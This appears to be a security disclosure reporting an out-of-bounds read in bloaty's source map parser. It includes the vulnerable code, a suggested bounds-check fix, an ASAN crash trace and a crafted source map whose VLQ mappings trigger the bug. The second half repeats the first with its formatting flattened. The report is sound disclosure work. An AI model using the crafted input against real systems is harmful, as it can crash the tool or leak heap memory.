Function Signature and Location
The vulnerability exists in the template function ForEachVLQSegment, which is called by:
bloaty::sourcemap::ProcessToSink (line 209) — src/source_map.cc:182-214
bloaty::sourcemap::SourceMapObjectFile::ProcessFileToSink (line 222) — src/source_map.cc:216-223
bloaty::sourcemap::SourceMapObjectFile::ProcessFile (inherited virtual) — src/source_map.cc
Vulnerability
Out-of-Bounds Read
The ForEachVLQSegment function at src/source_map.cc:135-180 reads VLQ-encoded segments from a source map. The source_file variable is an int32_t that accumulates deltas from attacker-controlled Base64-VLQ data. It is used to index into a std::vector<std::string_view> sources without any bounds checking.
Code Snippet
template <class Func>
void ForEachVLQSegment(std::string_view* data,
const std::vector<std::string_view>& sources,
Func&& segment_func) {
// ...
int32_t source_file = values[1]; // from attacker-controlled VLQ data
// ...
while (!data->empty() && data->front() != '\"') {
// ...
int new_values_count = ReadBase64VLQSegment(data, values);
if (values_count >= 4) {
segment_func(VlqSegment(col, values[0],
sources[source_file], // <-- NO BOUNDS CHECK (line 170)
source_line, source_col));
}
// ...
if (values_count >= 4) {
source_file += values[1]; // accumulates deltas, can become negative or huge
// ...
}
}
}
Impact
- OOB Read: Reading beyond vector storage boundary
- Information Disclosure: Leaking heap data through the read
string_view
- Crash: Likely segfault if the read address is unmapped
- Since
source_file is int32_t, negative values cause UB on most implementations (unsigned wrap in libstdc++ operator[])
Suggested Fix
Add bounds checking before vector access:
if (source_file < 0 || static_cast<size_t>(source_file) >= sources.size()) {
THROW("source file index out of range in source map");
}
PoC
- PoC file:
poc/sourcemap_oob_test.py (generates WASM + malicious source map, runs bloaty with ASAN): sourcemap_oob_test.py
- Build command: Build bloaty with ASAN:
mkdir build_asan_full && cd build_asan_full && cmake -DCMAKE_BUILD_TYPE=Debug -DCMAKE_C_FLAGS="-fsanitize=address -fno-omit-frame-pointer" -DCMAKE_CXX_FLAGS="-fsanitize=address -fno-omit-frame-pointer" -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" -DCMAKE_SHARED_LINKER_FLAGS="-fsanitize=address" .. && make -j$(nproc)
- commit id:
073e01d04fc06d64eeb5cdb9adeae035a34e4b13 on main branch
Reproduction Steps
- Create minimal WASM binary with
sourceMappingURL custom section (build_id = mybuildid)
- Create malicious source map:
{"sources":["a.js","b.js"],"mappings":"AACA,AgxTAA,AAAA"}
- Segment 1:
AACA — col=0, source_file=0, line=+1, col=0
- Segment 2:
AgxTAA — col=0, source_file=+10000, line=0, col=0
- Segment 3:
AAAA — col=0, source_file=0, line=0, col=0 (triggers OOB at sources[10000])
- Run:
bloaty test.wasm --source-map=mybuildid=malicious.map -d compileunits ( executedbloaty /tmp/poc_test.wasm --source-map=mybuildid=/tmp/poc_test.map -d compileunits by the py script)
Sanitizer Output (reproduced on main branch)
==394832==ERROR: AddressSanitizer: SEGV on unknown address 0x60300002d770 (pc 0x56428bdb4e5a bp 0x7f49b27fe7e0 sp 0x7f49b27fe720 T1)
==394832==The signal is caused by a READ memory access.
#0 0x56428bdb4e5a in void bloaty::sourcemap::ForEachVLQSegment<bloaty::sourcemap::ProcessToSink(...)::$_0>(...) /mnt/sdb/code/targets/bloaty/src/source_map.cc:170:31
#1 0x56428bdb49bb in bloaty::sourcemap::ProcessToSink(...) /mnt/sdb/code/targets/bloaty/src/source_map.cc:209:3
#2 0x56428bdb4816 in bloaty::sourcemap::SourceMapObjectFile::ProcessFileToSink(...) /mnt/sdb/code/targets/bloaty/src/source_map.cc:222:3
#3 0x56428bdb8c93 in bloaty::wasm::WebAssemblyObjectFile::ProcessFile(...) /mnt/sdb/code/targets/bloaty/src/webassembly.cc:472:25
Function Signature and Location
The vulnerability exists in the template function
ForEachVLQSegment, which is called by:bloaty::sourcemap::ProcessToSink(line 209) —src/source_map.cc:182-214bloaty::sourcemap::SourceMapObjectFile::ProcessFileToSink(line 222) —src/source_map.cc:216-223bloaty::sourcemap::SourceMapObjectFile::ProcessFile(inherited virtual) —src/source_map.ccVulnerability
Out-of-Bounds Read
The
ForEachVLQSegmentfunction atsrc/source_map.cc:135-180reads VLQ-encoded segments from a source map. Thesource_filevariable is anint32_tthat accumulates deltas from attacker-controlled Base64-VLQ data. It is used to index into astd::vector<std::string_view> sourceswithout any bounds checking.Code Snippet
Impact
string_viewsource_fileisint32_t, negative values cause UB on most implementations (unsigned wrap in libstdc++ operator[])Suggested Fix
Add bounds checking before vector access:
PoC
poc/sourcemap_oob_test.py(generates WASM + malicious source map, runs bloaty with ASAN): sourcemap_oob_test.pymkdir build_asan_full && cd build_asan_full && cmake -DCMAKE_BUILD_TYPE=Debug -DCMAKE_C_FLAGS="-fsanitize=address -fno-omit-frame-pointer" -DCMAKE_CXX_FLAGS="-fsanitize=address -fno-omit-frame-pointer" -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" -DCMAKE_SHARED_LINKER_FLAGS="-fsanitize=address" .. && make -j$(nproc)073e01d04fc06d64eeb5cdb9adeae035a34e4b13onmainbranchReproduction Steps
sourceMappingURLcustom section (build_id =mybuildid){"sources":["a.js","b.js"],"mappings":"AACA,AgxTAA,AAAA"}AACA— col=0, source_file=0, line=+1, col=0AgxTAA— col=0, source_file=+10000, line=0, col=0AAAA— col=0, source_file=0, line=0, col=0 (triggers OOB atsources[10000])bloaty test.wasm --source-map=mybuildid=malicious.map -d compileunits( executedbloaty /tmp/poc_test.wasm --source-map=mybuildid=/tmp/poc_test.map -d compileunitsby the py script)Sanitizer Output (reproduced on main branch)